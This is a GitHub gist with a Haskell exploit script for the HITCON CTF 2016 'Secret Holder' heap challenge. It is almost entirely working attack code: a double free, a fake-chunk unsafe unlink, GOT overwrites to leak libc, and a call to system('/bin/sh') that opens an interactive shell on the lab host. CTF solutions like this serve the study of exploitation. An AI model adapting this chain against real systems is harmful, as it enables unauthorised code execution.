Created
September 23, 2017 07:32
-
-
Save Tosainu/8117a24d16dd0d96bd218b3af4b3f8c8 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env stack | |
| -- stack --stack-yaml ./stack.yaml runghc --package pwn | |
| -- HITCON CTF 2016 Quals: Secret Holder | |
| -- https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/secret-holder-100 | |
| -- tested env: | |
| -- $ cat /etc/os-release | |
| -- NAME="Ubuntu" | |
| -- VERSION="16.04.3 LTS (Xenial Xerus)" | |
| -- ... | |
| -- | |
| -- $ sha1sum /lib/x86_64-linux-gnu/libc-2.23.so | |
| -- 14c22be9aa11316f89909e4237314e009da38883 /lib/x86_64-linux-gnu/libc-2.23.so | |
| {-# LANGUAGE OverloadedStrings #-} | |
| import Control.Monad | |
| import Data.Bits | |
| import qualified Data.ByteString.Char8 as BS | |
| import Data.Maybe | |
| import Data.Monoid ((<>)) | |
| import Numeric (readHex, showHex) | |
| -- https://github.com/Tosainu/pwn.hs | |
| import Pwn hiding (Endian (..)) | |
| showByteString :: (Show a) => a -> BS.ByteString | |
| showByteString = BS.pack . show | |
| data SecretType = Small | Big | Huge | |
| deriving (Eq, Show) | |
| main :: IO () | |
| main = do | |
| r <- remote "192.168.122.10" 4000 | |
| let small_secret_ptr = 0x006020b0 | |
| big_secret_ptr = 0x006020a0 | |
| huge_secret_ptr = 0x006020a8 | |
| puts_plt = 0x004006c0 | |
| puts_got = 0x00602020 | |
| free_got = 0x00602018 | |
| libc_puts' = 0x0006f690 | |
| libc_system' = 0x00045390 | |
| let keep t s = do | |
| recvuntil r "3. Renew secret\n" | |
| sendline r "1" | |
| recvuntil r "3. Huge secret\n" | |
| case t of | |
| Small -> sendline r "1" | |
| Big -> sendline r "2" | |
| Huge -> sendline r "3" | |
| recvuntil r "Tell me your secret: \n" | |
| send r s | |
| wipe t = do | |
| recvuntil r "3. Renew secret\n" | |
| sendline r "2" | |
| recvuntil r "3. Huge secret\n" | |
| case t of | |
| Small -> sendline r "1" | |
| Big -> sendline r "2" | |
| Huge -> sendline r "3" | |
| renew t s = do | |
| recvuntil r "3. Renew secret\n" | |
| sendline r "3" | |
| recvuntil r "3. Huge secret\n" | |
| case t of | |
| Small -> sendline r "1" | |
| Big -> sendline r "2" | |
| Huge -> sendline r "3" | |
| recvuntil r "Tell me your secret: \n" | |
| send r s | |
| info "increase mmap_threshold" | |
| keep Huge "myon" | |
| wipe Huge | |
| info "create overwrapped chunk" | |
| keep Big "poe" | |
| wipe Big | |
| keep Huge "nyan" | |
| wipe Big -- double free! | |
| keep Small "poe" | |
| keep Big "fee" | |
| -- gef➤ x/4gx 0x006020a0 | |
| -- 0x6020a0: 0x00000000007c1040 0x00000000007c1010 | |
| -- ↑ Big ↑ Huge | |
| -- 0x6020b0: 0x00000000007c1010 0x0000000100000001 | |
| -- ↑ Small | |
| info "create fake chunk" | |
| let buf = BS.concat $ catMaybes | |
| [ p64 0x00 -- prev_size' | |
| , p64 0x21 -- size' (0x31 - 0x10) | |
| , p64 $ small_secret_ptr - 0x18 -- fd' | |
| , p64 $ small_secret_ptr - 0x10 -- bk' | |
| , p64 0x20 -- prev_size | |
| , p64 0xfb0 -- size (0xfb1 -> 0xfb0) | |
| ] | |
| renew Huge buf | |
| info "free big secret (unsafe unlink attack)" | |
| wipe Big | |
| -- gef➤ x/6gx 0x00602090 | |
| -- 0x602090 <stdout>: 0x00007f7775dff620 0x0000000000000000 | |
| -- 0x6020a0: 0x0000000000cfd040 0x0000000000cfd010 | |
| -- ↑ Big ↑ Huge | |
| -- 0x6020b0: 0x0000000000602098 0x0000000100000000 | |
| -- ↑ Small | |
| -- 0x6020c0: 0x0000000000000001 0x0000000000000000 | |
| info "overwrite big_secret_ptr and huge_secret_ptr" | |
| let buf = BS.concat $ catMaybes | |
| [ p64 0x00 -- 0x00602098 | |
| , p64 puts_got -- big_secret_ptr | |
| , p64 free_got -- huge_secret_ptr | |
| ] | |
| renew Small buf | |
| info "leak informations" | |
| renew Huge $ fromJust $ p64 puts_plt -- free@got = puts@plt | |
| wipe Big -- puts(puts_got) | |
| leak <- recvuntil r "\n1. Keep secret" | |
| let leak' = BS.take (BS.length leak - BS.length "\n1. Keep secret") leak | |
| Just libc_puts = u64 $ leak' <> BS.replicate (8 - BS.length leak') '\x00' | |
| libc_base = libc_puts - libc_puts' | |
| success $ " libc_base: 0x" <> showHex libc_base "" | |
| info "exeute system(\"/bin/sh\")" | |
| renew Huge $ fromJust $ p64 $ libc_base + libc_system' -- free@got = libc_system | |
| keep Big "/bin/sh\x00" | |
| wipe Big -- system("/bin/sh") | |
| interactive r |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment